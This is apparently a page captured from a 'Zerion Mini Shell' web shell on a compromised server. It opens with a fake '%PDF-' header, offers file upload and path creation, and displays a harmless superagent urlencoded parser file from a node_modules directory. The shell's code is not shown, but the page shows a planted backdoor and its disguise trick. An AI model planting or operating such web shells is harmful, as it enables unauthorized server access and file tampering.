%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/opti/workflow/node_modules/superagent/lib/node/parsers/
Upload File :
Create Path :
Current File : /home/opti/workflow/node_modules/superagent/lib/node/parsers/urlencoded.js

'use strict';

/**
 * Module dependencies.
 */

const qs = require('qs');

module.exports = function(res, fn){
  res.text = '';
  res.setEncoding('ascii');
  res.on('data', chunk => {
    res.text += chunk;
  });
  res.on('end', () => {
    try {
      fn(null, qs.parse(res.text));
    } catch (err) {
      fn(err);
    }
  });
};

Zerion Mini Shell 1.0